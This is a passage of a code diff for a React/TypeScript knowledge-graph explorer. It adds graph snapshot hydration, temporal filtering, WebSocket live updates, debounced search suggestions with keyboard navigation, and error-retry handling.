||||
onRuntimeReady: () => void;
|
||||
}
|
||||
|
||||
export const GraphRuntimeStage = forwardRef<GraphStageHandle, GraphRuntimeStageProps>(
|
||||
function GraphRuntimeStage(
|
||||
{
|
||||
snapshot,
|
||||
selectedNodeId,
|
||||
activePath,
|
||||
onNodeSelect,
|
||||
onSelectedNodeStateChange,
|
||||
isLayoutRunning,
|
||||
onLayoutRunningChange,
|
||||
viewMode,
|
||||
temporalTime,
|
||||
onActiveNodeCountChange,
|
||||
onProgressChange,
|
||||
onLayoutStatusChange,
|
||||
onRuntimeReady,
|
||||
},
|
||||
ref,
|
||||
) {
|
||||
const sceneRef = useRef<GraphSceneHandle>(null);
|
||||
const prevActiveIdsRef = useRef<Set<string>>(new Set());
|
||||
const [graphVersion, setGraphVersion] = useState(0);
|
||||
const [runtimeLayoutSource, setRuntimeLayoutSource] = useState<GraphLayoutSource>(snapshot?.summary.layoutSource ?? "runtime");
|
||||
const displayResult = useMemo(
|
||||
() => resolveDisplayGraph(selectedNodeId, activePath, EMPTY_PATH, viewMode, { aggregationEnabled: true }),
|
||||
[activePath, graphVersion, selectedNodeId, viewMode],
|
||||
);
|
||||
|
||||
const stageSignature = useMemo(() => (snapshot ? `${snapshot.fetchedAt}:${snapshot.summary.nodeCount}:${snapshot.summary.edgeCount}` : null), [snapshot]);
|
||||
|
||||
useImperativeHandle(ref, () => ({
|
||||
fitView: () => sceneRef.current?.fitView(),
|
||||
focusNode: (nodeId: string) => sceneRef.current?.focusNode(nodeId),
|
||||
}), []);
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
|
||||
async function hydrateSnapshot() {
|
||||
if (!snapshot) {
|
||||
return;
|
||||
}
|
||||
|
||||
onProgressChange(createGraphLoadProgress({
|
||||
phase: "computing_styling",
|
||||
progressKind: "indeterminate",
|
||||
nodesLoaded: snapshot.summary.nodeCount,
|
||||
nodesTotal: snapshot.summary.nodeCount,
|
||||
edgesLoaded: snapshot.summary.edgeCount,
|
||||
edgesTotal: snapshot.summary.edgeCount,
|
||||
message: "Computing runtime graph styling",
|
||||
showGraphBehind: false,
|
||||
}));
|
||||
|
||||
const degreeByNode = computeDegreeMap(snapshot.nodes, snapshot.edges);
|
||||
const pageRankByNode = computePageRank(snapshot.nodes, snapshot.edges);
|
||||
const nodeIndexById = new Map(snapshot.nodes.map((node, index) => [node.id, index]));
|
||||
const previousPositions = new Map<string, { x: number; y: number }>();
|
||||
|
||||
graph.forEachNode((nodeId, attributes) => {
|
||||
const raw = attributes as Partial<NodeAttributes>;
|
||||
const x = Number(raw.x);
|
||||
const y = Number(raw.y);
|
||||
if (Number.isFinite(x) && Number.isFinite(y)) {
|
||||
previousPositions.set(nodeId, { x, y });
|
||||
}
|
||||
});
|
||||
|
||||
let explicitCoordinateCount = 0;
|
||||
let carriedCoordinateCount = 0;
|
||||
const draftAttributes = snapshot.nodes.map((node) => {
|
||||
const previousPosition = previousPositions.get(node.id);
|
||||
const position = hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y)
|
||||
? { x: node.x, y: node.y }
|
||||
: previousPosition
|
||||
? previousPosition
|
||||
: deterministicPosition(node.id, nodeIndexById.get(node.id) ?? 0, snapshot.nodes.length);
|
||||
|
||||
if (hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y)) {
|
||||
explicitCoordinateCount += 1;
|
||||
} else if (previousPosition) {
|
||||
carriedCoordinateCount += 1;
|
||||
}
|
||||
|
||||
return {
|
||||
id: node.id,
|
||||
attributes: {
|
||||
label: node.content || node.id,
|
||||
x: position.x,
|
||||
y: position.y,
|
||||
nodeType: node.type,
|
||||
content: node.content,
|
||||
valid_from: node.valid_from,
|
||||
valid_until: node.valid_until,
|
||||
properties: node.properties,
|
||||
} as NodeAttributes,
|
||||
};
|
||||
});
|
||||
|
||||
const layoutSource: GraphLayoutSource = explicitCoordinateCount > 0
|
||||
? "provided"
|
||||
: carriedCoordinateCount > 0
|
||||
? "carried"
|
||||
: "runtime";
|
||||
const hasCoordinates = explicitCoordinateCount > 0 || carriedCoordinateCount > 0;
|
||||
setRuntimeLayoutSource(layoutSource);
|
||||
|
||||
const colorAccessor = chooseColorAccessor(draftAttributes);
|
||||
await yieldToMain();
|
||||
if (cancelled) {
|
||||
return;
|
||||
}
|
||||
|
||||
onProgressChange(createGraphLoadProgress({
|
||||
phase: "hydrating_scene",
|
||||
progressKind: "indeterminate",
|
||||
nodesLoaded: snapshot.summary.nodeCount,
|
||||
nodesTotal: snapshot.summary.nodeCount,
|
||||
edgesLoaded: snapshot.summary.edgeCount,
|
||||
edgesTotal: snapshot.summary.edgeCount,
|
||||
message: "Hydrating graph scene and renderer",
|
||||
showGraphBehind: false,
|
||||
}));
|
||||
|
||||
const nodesToMerge = draftAttributes.map(({ id, attributes }) => {
|
||||
const colorKey = colorAccessor(id, attributes);
|
||||
const baseColor = colorForNodeKey(colorKey);
|
||||
const dynamicSize = computeNodeSize(id, degreeByNode, pageRankByNode);
|
||||
return {
|
||||
id,
|
||||
attributes: {
|
||||
...attributes,
|
||||
color: baseColor,
|
||||
baseColor,
|
||||
size: dynamicSize,
|
||||
baseSize: dynamicSize,
|
||||
degree: degreeByNode.get(id) ?? 0,
|
||||
pageRank: pageRankByNode.get(id) ?? 0,
|
||||
glowColor: baseColor,
|
||||
borderColor: GRAPH_THEME.nodes.border,
|
||||
borderSize: 1,
|
||||
} as NodeAttributes,
|
||||
};
|
||||
});
|
||||
|
||||
const edgesToMerge = snapshot.edges.map((edge) => ({
|
||||
id: edge.id,
|
||||
familyId: edge.familyId,
|
||||
source: edge.source,
|
||||
target: edge.target,
|
||||
attributes: {
|
||||
edgeId: edge.id,
|
||||
familyId: edge.familyId,
|
||||
sourceId: edge.source,
|
||||
targetId: edge.target,
|
||||
weight: edge.weight,
|
||||
edgeType: edge.type,
|
||||
properties: edge.properties,
|
||||
size: computeEdgeSize(edge.weight),
|
||||
baseSize: computeEdgeSize(edge.weight),
|
||||
color: GRAPH_THEME.edges.baseColor,
|
||||
baseColor: GRAPH_THEME.edges.baseColor,
|
||||
} as EdgeAttributes,
|
||||
}));
|
||||
|
||||
clearGraph();
|
||||
batchMergeNodes(nodesToMerge);
|
||||
batchMergeEdges(edgesToMerge);
|
||||
prevActiveIdsRef.current = new Set(snapshot.nodes.map((node) => node.id));
|
||||
|
||||
await yieldToMain();
|
||||
if (cancelled) {
|
||||
return;
|
||||
}
|
||||
|
||||
onLayoutStatusChange({
|
||||
state: layoutSource === "runtime" ? "bootstrapping" : "interactive",
|
||||
source: layoutSource,
|
||||
hasCoordinates,
|
||||
layoutReady: layoutSource !== "runtime",
|
||||
displacement: null,
|
||||
elapsedMs: 0,
|
||||
stableSamples: 0,
|
||||
});
|
||||
|
||||
onLayoutRunningChange(layoutSource === "runtime");
|
||||
if (selectedNodeId) {
|
||||
sceneRef.current?.focusNode(selectedNodeId);
|
||||
} else {
|
||||
sceneRef.current?.getRuntime()?.requestRender();
|
||||
}
|
||||
setGraphVersion((current) => current + 1);
|
||||
if (layoutSource !== "runtime") {
|
||||
onProgressChange(null);
|
||||
} else {
|
||||
onProgressChange(createGraphLoadProgress({
|
||||
phase: "stabilizing_layout",
|
||||
progressKind: "indeterminate",
|
||||
nodesLoaded: snapshot.summary.nodeCount,
|
||||
nodesTotal: snapshot.summary.nodeCount,
|
||||
edgesLoaded: snapshot.summary.edgeCount,
|
||||
edgesTotal: snapshot.summary.edgeCount,
|
||||
message: "Settling runtime layout",
|
||||
showGraphBehind: true,
|
||||
layoutSource,
|
||||
layoutState: "bootstrapping",
|
||||
}));
|
||||
}
|
||||
onRuntimeReady();
|
||||
}
|
||||
|
||||
void hydrateSnapshot();
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [onLayoutRunningChange, onLayoutStatusChange, onProgressChange, onRuntimeReady, selectedNodeId, snapshot, stageSignature]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!selectedNodeId) {
|
||||
onSelectedNodeStateChange(null);
|
||||
return;
|
||||
}
|
||||
|
||||
onSelectedNodeStateChange(buildSelectedNodeState(selectedNodeId));
|
||||
}, [graphVersion, onSelectedNodeStateChange, selectedNodeId, viewMode]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!snapshot || !temporalTime) {
|
||||
return;
|
||||
}
|
||||
|
||||
let cancelled = false;
|
||||
|
||||
const applySnapshot = async () => {
|
||||
try {
|
||||
const response = await fetch(`/api/temporal/snapshot?at=${encodeURIComponent(temporalTime.toISOString())}`);
|
||||
if (!response.ok || cancelled) {
|
||||
return;
|
||||
}
|
||||
|
||||
const data: { active_node_ids: string[]; active_node_count: number } = await response.json();
|
||||
if (cancelled) {
|
||||
return;
|
||||
}
|
||||
|
||||
const nextActiveIds = new Set(data.active_node_ids);
|
||||
requestAnimationFrame(() => {
|
||||
if (cancelled) {
|
||||
return;
|
||||
}
|
||||
|
||||
const previous = prevActiveIdsRef.current;
|
||||
previous.forEach((id) => {
|
||||
if (!nextActiveIds.has(id) && graph.hasNode(id)) {
|
||||
graph.setNodeAttribute(id, "hidden", true);
|
||||
}
|
||||
});
|
||||
nextActiveIds.forEach((id) => {
|
||||
if (graph.hasNode(id)) {
|
||||
graph.setNodeAttribute(id, "hidden", false);
|
||||
}
|
||||
});
|
||||
|
||||
prevActiveIdsRef.current = nextActiveIds;
|
||||
onActiveNodeCountChange(data.active_node_count);
|
||||
sceneRef.current?.getRuntime()?.requestRender();
|
||||
});
|
||||
} catch (error) {
|
||||
if (!cancelled) {
|
||||
console.error("[GraphRuntimeStage] temporal snapshot failed", error);
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
void applySnapshot();
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [onActiveNodeCountChange, snapshot, temporalTime]);
|
||||
|
||||
useEffect(() => {
|
||||
const socket = new WebSocket(`${socketProtocol()}//${window.location.host}/ws/graph-updates`);
|
||||
|
||||
socket.onmessage = (event) => {
|
||||
try {
|
||||
const message = JSON.parse(event.data);
|
||||
if (message.event === "connection_ack" || message.event !== "graph_mutation") {
|
||||
return;
|
||||
}
|
||||
|
||||
const eventType = message.data?.event_type;
|
||||
const payload = message.data?.payload;
|
||||
if (eventType === "ADD_NODE" && payload?.id) {
|
||||
batchMergeNodes([
|
||||
{
|
||||
id: payload.id,
|
||||
attributes: {
|
||||
label: payload.properties?.content || payload.id,
|
||||
x: Number.isFinite(Number(payload.x ?? payload.properties?.x))
|
||||
? Number(payload.x ?? payload.properties?.x)
|
||||
: deterministicPosition(payload.id, graph.order + 1, Math.max(graph.order + 1, 1)).x,
|
||||
y: Number.isFinite(Number(payload.y ?? payload.properties?.y))
|
||||
? Number(payload.y ?? payload.properties?.y)
|
||||
: deterministicPosition(payload.id, graph.order + 1, Math.max(graph.order + 1, 1)).y,
|
||||
nodeType: payload.type,
|
||||
content: payload.properties?.content || payload.id,
|
||||
valid_from: payload.properties?.valid_from ?? null,
|
||||
valid_until: payload.properties?.valid_until ?? null,
|
||||
properties: payload.properties || {},
|
||||
size: 8,
|
||||
color: colorForNodeKey(`${payload.type || "entity"}:${payload.id}`),
|
||||
baseColor: colorForNodeKey(`${payload.type || "entity"}:${payload.id}`),
|
||||
baseSize: 8,
|
||||
glowColor: colorForNodeKey(`${payload.type || "entity"}:${payload.id}`),
|
||||
borderColor: GRAPH_THEME.nodes.border,
|
||||
borderSize: 1,
|
||||
},
|
||||
},
|
||||
]);
|
||||
}
|
||||
|
||||
if (eventType === "ADD_EDGE" && payload?.source_id && payload?.target_id) {
|
||||
batchMergeEdges([
|
||||
{
|
||||
id: String(payload.id),
|
||||
familyId: payload.familyId ? String(payload.familyId) : String(payload.id),
|
||||
source: payload.source_id,
|
||||
target: payload.target_id,
|
||||
attributes: {
|
||||
edgeId: String(payload.id),
|
||||
familyId: payload.familyId ? String(payload.familyId) : String(payload.id),
|
||||
sourceId: payload.source_id,
|
||||
targetId: payload.target_id,
|
||||
weight: Number(payload.weight ?? 1),
|
||||
edgeType: payload.type,
|
||||
properties: payload.properties || {},
|
||||
size: computeEdgeSize(Number(payload.weight ?? 1)),
|
||||
baseSize: computeEdgeSize(Number(payload.weight ?? 1)),
|
||||
color: payload.properties?.inferred ? GRAPH_THEME.edges.pathColor : GRAPH_THEME.edges.baseColor,
|
||||
baseColor: GRAPH_THEME.edges.baseColor,
|
||||
},
|
||||
},
|
||||
]);
|
||||
}
|
||||
|
||||
sceneRef.current?.getRuntime()?.requestRender();
|
||||
setGraphVersion((current) => current + 1);
|
||||
} catch (error) {
|
||||
console.error("[GraphRuntimeStage] websocket update failed", error);
|
||||
}
|
||||
};
|
||||
|
||||
return () => {
|
||||
socket.close();
|
||||
};
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<SigmaSceneAdapter
|
||||
ref={sceneRef}
|
||||
onNodeSelect={onNodeSelect}
|
||||
graphVersion={graphVersion}
|
||||
graphReady={Boolean(snapshot)}
|
||||
displayGraph={displayResult.graph}
|
||||
displayMeta={displayResult.meta}
|
||||
displayState={displayResult.state}
|
||||
selectedEdgeId=""
|
||||
selectedNodeId={selectedNodeId}
|
||||
focusedNodeId={viewMode === "focused" ? selectedNodeId : ""}
|
||||
activePath={activePath}
|
||||
activePathEdgeIds={EMPTY_PATH}
|
||||
effectsState={STAGE_EFFECTS_STATE}
|
||||
isLayoutRunning={isLayoutRunning}
|
||||
onLayoutRunningChange={onLayoutRunningChange}
|
||||
layoutSource={runtimeLayoutSource}
|
||||
onLayoutStatusChange={onLayoutStatusChange}
|
||||
viewMode={viewMode}
|
||||
/>
|
||||
);
|
||||
},
|
||||
);
|
||||
@@ -1,4 +1,4 @@
|
||||
import { useCallback, useEffect, useMemo, useRef, useState, type ComponentType, type ReactNode } from "react";
|
||||
import { useCallback, useEffect, useId, useMemo, useRef, useState, type ComponentType, type ReactNode } from "react";
|
||||
import {
|
||||
Activity,
|
||||
Clock3,
|
||||
@@ -12,6 +12,7 @@ import {
|
||||
RefreshCw,
|
||||
Search,
|
||||
Users,
|
||||
X,
|
||||
ZoomIn,
|
||||
ZoomOut,
|
||||
} from "lucide-react";
|
||||
@@ -282,37 +283,168 @@ function SegmentedModeControl({ items }: { items: GraphToolbarItem[] }) {
|
||||
);
|
||||
}
|
||||
|
||||
const SUGGESTION_DEBOUNCE_MS = 250;
|
||||
const SUGGESTION_LIMIT = 6;
|
||||
|
||||
function SearchCommandBar({
|
||||
value,
|
||||
disabled,
|
||||
onChange,
|
||||
onSubmit,
|
||||
onSelectSuggestion,
|
||||
}: {
|
||||
value: string;
|
||||
disabled: boolean;
|
||||
onChange: (value: string) => void;
|
||||
onSubmit: () => void;
|
||||
onSelectSuggestion: (result: SearchResult) => void;
|
||||
}) {
|
||||
const [suggestions, setSuggestions] = useState<SearchResult[]>([]);
|
||||
const [suggestionsOpen, setSuggestionsOpen] = useState(false);
|
||||
const [highlightedIndex, setHighlightedIndex] = useState(-1);
|
||||
const abortRef = useRef<AbortController | null>(null);
|
||||
const debounceRef = useRef<number | null>(null);
|
||||
const listboxId = useId();
|
||||
|
||||
useEffect(() => {
|
||||
if (debounceRef.current !== null) {
|
||||
window.clearTimeout(debounceRef.current);
|
||||
}
|
||||
|
||||
const query = value.trim();
|
||||
if (disabled || !query) {
|
||||
abortRef.current?.abort();
|
||||
setSuggestions([]);
|
||||
setSuggestionsOpen(false);
|
||||
setHighlightedIndex(-1);
|
||||
return;
|
||||
}
|
||||
|
||||
debounceRef.current = window.setTimeout(() => {
|
||||
abortRef.current?.abort();
|
||||
const controller = new AbortController();
|
||||
abortRef.current = controller;
|
||||
|
||||
fetch("/api/graph/search", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ query, limit: SUGGESTION_LIMIT }),
|
||||
signal: controller.signal,
|
||||
})
|
||||
.then((response) => {
|
||||
if (!response.ok) {
|
||||
throw new Error(`Search failed with status ${response.status}`);
|
||||
}
|
||||
return response.json();
|
||||
})
|
||||
.then((data: { results?: SearchResult[] }) => {
|
||||
setSuggestions(data.results ?? []);
|
||||
setSuggestionsOpen(true);
|
||||
setHighlightedIndex(-1);
|
||||
})
|
||||
.catch((suggestionError: unknown) => {
|
||||
if (suggestionError instanceof DOMException && suggestionError.name === "AbortError") {
|
||||
return;
|
||||
}
|
||||
setSuggestions([]);
|
||||
setSuggestionsOpen(false);
|
||||
setHighlightedIndex(-1);
|
||||
});
|
||||
}, SUGGESTION_DEBOUNCE_MS);
|
||||
|
||||
return () => {
|
||||
if (debounceRef.current !== null) {
|
||||
window.clearTimeout(debounceRef.current);
|
||||
}
|
||||
abortRef.current?.abort();
|
||||
};
|
||||
}, [value, disabled]);
|
||||
|
||||
const closeSuggestions = () => {
|
||||
setSuggestionsOpen(false);
|
||||
setHighlightedIndex(-1);
|
||||
};
|
||||
|
||||
const selectSuggestion = (result: SearchResult) => {
|
||||
setSuggestions([]);
|
||||
closeSuggestions();
|
||||
onSelectSuggestion(result);
|
||||
};
|
||||
|
||||
return (
|
||||
<form
|
||||
className="explore-search-command"
|
||||
role="combobox"
|
||||
aria-expanded={suggestionsOpen && suggestions.length > 0}
|
||||
aria-haspopup="listbox"
|
||||
aria-owns={listboxId}
|
||||
onSubmit={(event) => {
|
||||
event.preventDefault();
|
||||
if (!disabled) {
|
||||
onSubmit();
|
||||
if (disabled) return;
|
||||
if (suggestionsOpen && highlightedIndex >= 0 && suggestions[highlightedIndex]) {
|
||||
selectSuggestion(suggestions[highlightedIndex]);
|
||||
return;
|
||||
}
|
||||
closeSuggestions();
|
||||
onSubmit();
|
||||
}}
|
||||
>
|
||||
<Search size={17} strokeWidth={2.15} aria-hidden />
|
||||
<input
|
||||
value={value}
|
||||
onChange={(event) => onChange(event.target.value)}
|
||||
onFocus={() => {
|
||||
if (suggestions.length > 0) {
|
||||
setSuggestionsOpen(true);
|
||||
}
|
||||
}}
|
||||
onBlur={() => {
|
||||
window.setTimeout(closeSuggestions, 120);
|
||||
}}
|
||||
onKeyDown={(event) => {
|
||||
if (!suggestionsOpen || suggestions.length === 0) return;
|
||||
if (event.key === "ArrowDown") {
|
||||
event.preventDefault();
|
||||
setHighlightedIndex((current) => (current + 1) % suggestions.length);
|
||||
} else if (event.key === "ArrowUp") {
|
||||
event.preventDefault();
|
||||
setHighlightedIndex((current) => (current <= 0 ? suggestions.length - 1 : current - 1));
|
||||
} else if (event.key === "Escape") {
|
||||
event.preventDefault();
|
||||
closeSuggestions();
|
||||
}
|
||||
}}
|
||||
placeholder="Search command, node, or concept"
|
||||
aria-label="Search graph nodes"
|
||||
aria-autocomplete="list"
|
||||
aria-controls={listboxId}
|
||||
aria-activedescendant={highlightedIndex >= 0 ? `${listboxId}-${highlightedIndex}` : undefined}
|
||||
/>
|
||||
<button type="submit" disabled={disabled} aria-label="Search for the current query">
|
||||
Search
|
||||
</button>
|
||||
|
||||
{suggestionsOpen && suggestions.length > 0 ? (
|
||||
<ul id={listboxId} role="listbox" className="explore-search-suggestions" aria-label="Search suggestions">
|
||||
{suggestions.map((result, index) => (
|
||||
<li
|
||||
key={result.node.id}
|
||||
id={`${listboxId}-${index}`}
|
||||
role="option"
|
||||
aria-selected={index === highlightedIndex}
|
||||
data-highlighted={index === highlightedIndex}
|
||||
onMouseDown={(event) => {
|
||||
event.preventDefault();
|
||||
selectSuggestion(result);
|
||||
}}
|
||||
onMouseEnter={() => setHighlightedIndex(index)}
|
||||
>
|
||||
<span className="explore-search-suggestion-label">{result.node.content || result.node.id}</span>
|
||||
<span className="explore-search-suggestion-type">{result.node.type}</span>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
) : null}
|
||||
</form>
|
||||
);
|
||||
}
|
||||
@@ -577,6 +709,7 @@ const HUD_CSS = `
|
||||
gap: 10px;
|
||||
}
|
||||
.explore-search-command {
|
||||
position: relative;
|
||||
min-width: 0;
|
||||
height: 43px;
|
||||
display: grid;
|
||||
@@ -592,6 +725,50 @@ const HUD_CSS = `
|
||||
color: ${GRAPH_THEME.ui.text.muted};
|
||||
box-shadow: inset 0 1px 0 rgba(255,255,255,0.045), 0 14px 30px rgba(0,0,0,0.16);
|
||||
}
|
||||
.explore-search-suggestions {
|
||||
position: absolute;
|
||||
top: calc(100% + 6px);
|
||||
left: 0;
|
||||
right: 0;
|
||||
z-index: 30;
|
||||
margin: 0;
|
||||
padding: 6px;
|
||||
list-style: none;
|
||||
max-height: 288px;
|
||||
overflow-y: auto;
|
||||
border-radius: 14px;
|
||||
border: 1px solid ${GRAPH_THEME.ui.control.inputBorder};
|
||||
background: ${GRAPH_THEME.ui.surface.cardStrong};
|
||||
box-shadow: 0 18px 40px rgba(0,0,0,0.32), inset 0 1px 0 rgba(255,255,255,0.04);
|
||||
}
|
||||
.explore-search-suggestions li {
|
||||
display: flex;
|
||||
align-items: baseline;
|
||||
justify-content: space-between;
|
||||
gap: 10px;
|
||||
padding: 8px 10px;
|
||||
border-radius: 10px;
|
||||
cursor: pointer;
|
||||
color: ${GRAPH_THEME.ui.text.body};
|
||||
}
|
||||
.explore-search-suggestions li[data-highlighted="true"] {
|
||||
background: ${GRAPH_THEME.ui.control.hoverBg};
|
||||
}
|
||||
.explore-search-suggestion-label {
|
||||
min-width: 0;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
font-size: 13px;
|
||||
font-weight: 600;
|
||||
}
|
||||
.explore-search-suggestion-type {
|
||||
flex-shrink: 0;
|
||||
font-size: 11px;
|
||||
color: ${GRAPH_THEME.ui.text.subtle};
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.04em;
|
||||
}
|
||||
.explore-search-command:focus-within {
|
||||
border-color: ${GRAPH_THEME.ui.control.activeBorder};
|
||||
box-shadow: inset 0 1px 0 rgba(255,255,255,0.06), 0 0 0 1px ${GRAPH_THEME.ui.control.focusRing}, 0 16px 32px rgba(0,0,0,0.18);
|
||||
@@ -1225,12 +1402,28 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
}));
|
||||
}, []);
|
||||
|
||||
const { data: summary, isLoading, isFetching } = useLoadGraph({
|
||||
const {
|
||||
data: summary,
|
||||
isLoading,
|
||||
isFetching,
|
||||
isError: isGraphLoadError,
|
||||
error: graphLoadError,
|
||||
refetch: refetchGraph,
|
||||
} = useLoadGraph({
|
||||
enabled: true,
|
||||
onGraphReady: applyGraphReadySummary,
|
||||
onProgress: handleLoadProgress,
|
||||
});
|
||||
|
||||
const graphLoadErrorMessage = isGraphLoadError
|
||||
? (graphLoadError instanceof Error ? graphLoadError.message : "Unknown error while loading the graph.")
|
||||
: null;
|
||||
|
||||
const handleRetryGraphLoad = useCallback(() => {
|
||||
setLoadingProgress(null);
|
||||
void refetchGraph();
|
||||
}, [refetchGraph]);
|
||||
|
||||
useEffect(() => {
|
||||
if (isLayoutRunning) {
|
||||
return;
|
||||
@@ -1523,6 +1716,11 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
}
|
||||
}, [searchQuery]);
|
||||
|
||||
const handleClearSearchResults = useCallback(() => {
|
||||
setSearchResults([]);
|
||||
setSearchError("");
|
||||
}, []);
|
||||
|
||||
const handleRunPredictions = useCallback(async () => {
|
||||
if (!inspectableNodeId) return;
|
||||
setIsRunningPredictions(true);
|
||||
@@ -1901,7 +2099,7 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
viewMode,
|
||||
]);
|
||||
|
||||
const showLoadingOverlay = !graphReady && (isLoading || isFetching || Boolean(loadingProgress));
|
||||
const showLoadingOverlay = !graphReady && (isLoading || isFetching || Boolean(loadingProgress) || isGraphLoadError);
|
||||
const showSettlingStatus = graphReady && loadingProgress?.phase === "stabilizing_layout";
|
||||
const hasGraphContent = Boolean(summary?.nodeCount);
|
||||
const activePath = pathResult?.path ?? EMPTY_PATH;
|
||||
@@ -2764,6 +2962,10 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
disabled={searchDisabled}
|
||||
onChange={setSearchQuery}
|
||||
onSubmit={() => void handleSearch()}
|
||||
onSelectSuggestion={(result) => {
|
||||
setSearchQuery("");
|
||||
focusNode(result.node.id);
|
||||
}}
|
||||
/>
|
||||
<SegmentedModeControl items={viewModeItems} />
|
||||
<div className="explore-toolbelt">
|
||||
@@ -2839,20 +3041,36 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
{searchError ? <div style={{ color: "#ff7b72", fontSize: 12 }}>{searchError}</div> : null}
|
||||
|
||||
{searchResults.length ? (
|
||||
<div className="explore-search-results hud-scrollbar" style={searchResultsStripStyle}>
|
||||
{searchResults.map((result) => (
|
||||
<button key={result.node.id} style={predictionCardStyle} onClick={() => focusNode(result.node.id)}>
|
||||
<div style={{ display: "flex", justifyContent: "space-between", gap: 12 }}>
|
||||
<div style={{ minWidth: 0 }}>
|
||||
<div style={{ color: "#fff", fontWeight: 600 }}>{result.node.content || result.node.id}</div>
|
||||
<div style={{ color: "#8b949e", fontSize: 12 }}>{result.node.type}</div>
|
||||
</div>
|
||||
<div style={{ color: "#58a6ff", fontSize: 12, whiteSpace: "nowrap" }}>
|
||||
{result.score.toFixed(3)}
|
||||
</div>
|
||||
</div>
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 8 }}>
|
||||
<div style={{ display: "flex", alignItems: "center", justifyContent: "space-between", gap: 12 }}>
|
||||
<span style={{ color: "#8b949e", fontSize: 12 }}>
|
||||
{searchResults.length} result{searchResults.length === 1 ? "" : "s"}
|
||||
</span>
|
||||
<button
|
||||
type="button"
|
||||
onClick={handleClearSearchResults}
|
||||
style={{ ...secondaryActionButtonStyle, minHeight: 26, padding: "4px 9px", gap: 5 }}
|
||||
aria-label="Dismiss search results"
|
||||
>
|
||||
<X size={12} strokeWidth={2.4} />
|
||||
Dismiss
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
<div className="explore-search-results hud-scrollbar" style={searchResultsStripStyle}>
|
||||
{searchResults.map((result) => (
|
||||
<button key={result.node.id} style={predictionCardStyle} onClick={() => focusNode(result.node.id)}>
|
||||
<div style={{ display: "flex", justifyContent: "space-between", gap: 12 }}>
|
||||
<div style={{ minWidth: 0 }}>
|
||||
<div style={{ color: "#fff", fontWeight: 600 }}>{result.node.content || result.node.id}</div>
|
||||
<div style={{ color: "#8b949e", fontSize: 12 }}>{result.node.type}</div>
|
||||
</div>
|
||||
<div style={{ color: "#58a6ff", fontSize: 12, whiteSpace: "nowrap" }}>
|
||||
{Math.round(result.score)}
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
) : null}
|
||||
|
||||
@@ -2946,6 +3164,8 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
progress={loadingProgress}
|
||||
visible={showLoadingOverlay}
|
||||
showGraphBehind={hasGraphContent || Boolean(loadingProgress?.showGraphBehind)}
|
||||
error={graphLoadErrorMessage}
|
||||
onRetry={handleRetryGraphLoad}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -1,862 +0,0 @@
|
||||
import { lazy, Suspense, useCallback, useEffect, useMemo, useRef, useState, type CSSProperties } from "react";
|
||||
|
||||
import { GraphLoadingOverlay } from "./GraphLoadingOverlay";
|
||||
import { getGraphLoadTitle } from "./graphLoading";
|
||||
import { useGraphData, useReloadGraphData } from "./useGraphData";
|
||||
import type {
|
||||
ApiNode,
|
||||
GraphLayoutStatus,
|
||||
GraphLoadProgress,
|
||||
GraphPath,
|
||||
GraphSelectedNodeState,
|
||||
GraphStageHandle,
|
||||
GraphViewMode,
|
||||
} from "./types";
|
||||
|
||||
type SearchResult = {
|
||||
node: {
|
||||
id: string;
|
||||
type: string;
|
||||
content: string;
|
||||
properties: Record<string, unknown>;
|
||||
};
|
||||
score: number;
|
||||
};
|
||||
|
||||
type LinkPrediction = {
|
||||
target: string;
|
||||
type: string;
|
||||
label?: string;
|
||||
score: number;
|
||||
};
|
||||
|
||||
type PathResponse = {
|
||||
path: GraphPath;
|
||||
total_weight: number;
|
||||
hop_count: number;
|
||||
distance_band: "direct" | "near" | "mid-range" | "distant";
|
||||
};
|
||||
|
||||
type TemporalBounds = {
|
||||
min?: string | null;
|
||||
max?: string | null;
|
||||
};
|
||||
|
||||
const GraphRuntimeStage = lazy(() =>
|
||||
import("./GraphRuntimeStage").then((module) => ({ default: module.GraphRuntimeStage })),
|
||||
);
|
||||
const TimelinePanel = lazy(() =>
|
||||
import("./TimelinePanel").then((module) => ({ default: module.TimelinePanel })),
|
||||
);
|
||||
|
||||
const HUD_CSS = `
|
||||
.palantir-bg {
|
||||
background:
|
||||
radial-gradient(circle at top, rgba(103, 182, 255, 0.1), transparent 24%),
|
||||
linear-gradient(180deg, #07111d 0%, #02060e 100%);
|
||||
}
|
||||
.palantir-grid {
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background-image:
|
||||
linear-gradient(rgba(88, 166, 255, 0.04) 1px, transparent 1px),
|
||||
linear-gradient(90deg, rgba(88, 166, 255, 0.04) 1px, transparent 1px);
|
||||
background-size: 44px 44px;
|
||||
pointer-events: none;
|
||||
z-index: 1;
|
||||
opacity: 0.78;
|
||||
}
|
||||
.palantir-vignette {
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background: radial-gradient(ellipse at center, transparent 34%, rgba(1, 4, 9, 0.88) 100%);
|
||||
pointer-events: none;
|
||||
z-index: 2;
|
||||
}
|
||||
.hud-scrollbar::-webkit-scrollbar { width: 6px; }
|
||||
